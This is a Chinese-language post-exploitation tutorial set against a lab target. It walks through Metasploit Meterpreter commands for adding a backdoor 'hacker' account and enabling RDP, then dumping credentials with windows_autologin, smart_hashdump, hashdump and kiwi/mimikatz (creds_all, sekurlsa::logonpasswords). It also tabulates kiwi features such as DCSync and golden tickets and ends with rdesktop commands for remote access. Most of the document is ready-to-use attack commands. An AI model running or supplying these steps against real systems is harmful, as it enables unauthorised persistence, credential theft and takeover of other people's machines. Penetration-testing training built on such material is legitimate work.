后渗透攻击（三）

目录

1、创建新账户

2、获取账号密码

3、远程屏幕控制

---

在进行提权后我们的操作空间就会大很多，可以进行一系列的创建新账户、获取账号密码、远程操控屏幕等等的操作。该文章就对一些常用的操作进行了整理。

1、创建新账户

查看目标靶机已存在用户  可以在meterpreter中输入：

run  post/windows/gather/enum_logged_on_users ，可见本来只有一个账户，

我们接着用run post/windows/manage/enable_rdp USERNAME= PASSWORD=的指令去自己创建一个账户。

再用上面的指令去查看可能会有延迟，所以我们可以直接去靶机查看，进入win的运行输入netplwiz 可以查看账户创建情况，发现确实多了一个hacker的账户。

 

2、获取账号密码

2.1

很多人喜欢给在计算机设置自动登录 我们可以通过抓取自动登录的账户密码

run windows/gather/credentials/windows_autologin

2.2

如果提示这证明本机并没有配置自动登录

还可以通过导出SAM数据库中的本地用户账号

run post/windows/gather/smart_hashdump

使用  hashdump 获取密码

终端内输入  run hashdump即可，接下来便是通过在线hash来破解即可。

2.3

使用load kiwi

kiwi_cmd 模块可以让我们使用mimikatz的全部功能， mimikatz 的命令直接在kiwi_cmd里直接使用

 终端输入  load kiwi

creds_all  直接获取密码

也可使用kiwi_cmd sekurlsa::logonpasswords  获取密码

***

| ID   | kiwi参数和描述                                         |

| ---- | ------------------------------------------------------ |

| 1    | creds_all：列举所有凭据                                |

| 2    | creds_kerberos：列举所有kerberos凭据                   |

| 3    | creds_msv：列举所有msv凭据                             |

| 4    | creds_ssp：列举所有ssp凭据                             |

| 5    | creds_tspkg：列举所有tspkg凭据                         |

| 6    | creds_wdigest：列举所有wdigest凭据                     |

| 7    | dcsync：通过DCSync检索用户帐户信息                     |

| 8    | dcsync_ntlm：通过DCSync检索用户帐户NTLM散列、SID和RID  |

| 9    | golden_ticket_create：创建黄金票据                     |

| 10   | kerberos_ticket_list：列举kerberos票据                 |

| 11   | kerberos_ticket_purge：清除kerberos票据                |

| 12   | kerberos_ticket_use：使用kerberos票据                  |

| 13   | kiwi_cmd：执行mimikatz的命令，后面接mimikatz.exe的命令 |

| 14   | lsa_dump_sam：dump出lsa的SAM                           |

| 15   | lsa_dump_secrets：dump出lsa的密文                      |

| 16   | password_change：修改密码                              |

| 17   | wifi_list：列出当前用户的wifi配置文件                  |

| 18   | wifi_list_shared：列出共享wifi配置文件/编码

***

3、远程屏幕控制

rdesktop是linux下支持Windows远程桌面连接的客户端程序，在linux系统下可通过它远程访问Windows桌面，支持多种版本。rdesktop是sourceforge下支持GPL协议的一个开源项目，采用RDP（Remote Desktop Protocol,远程桌面协议），几乎可以连接windows的所有版本

在一个新的root界面去执行

rdesktop -u 用户名 -p  密码  -f   IP

即可。

如：

rdesktop -u hacker -p 123456   -g 1024x720 172.16.98.175

 

rdesktop常用参数

| id   | 参数        | 描述                                            |

| ---- | ----------- | ----------------------------------------------- |

| 1    | -u          | 账户名                                          |

| 2    | -p          | 密码                                            |

| 3    | -a 16       | 指使用16位色显示远程画面                        |

| 4    | -f          | 全屏模式（用**Ctrl+Alt+Enter** 组合键退出全屏） |

| 5    | -g          | 设置分辨率 如 :   -g 1024x768                   |

| 6    | rdesktop -h | 查看rdesktop使用帮助                            |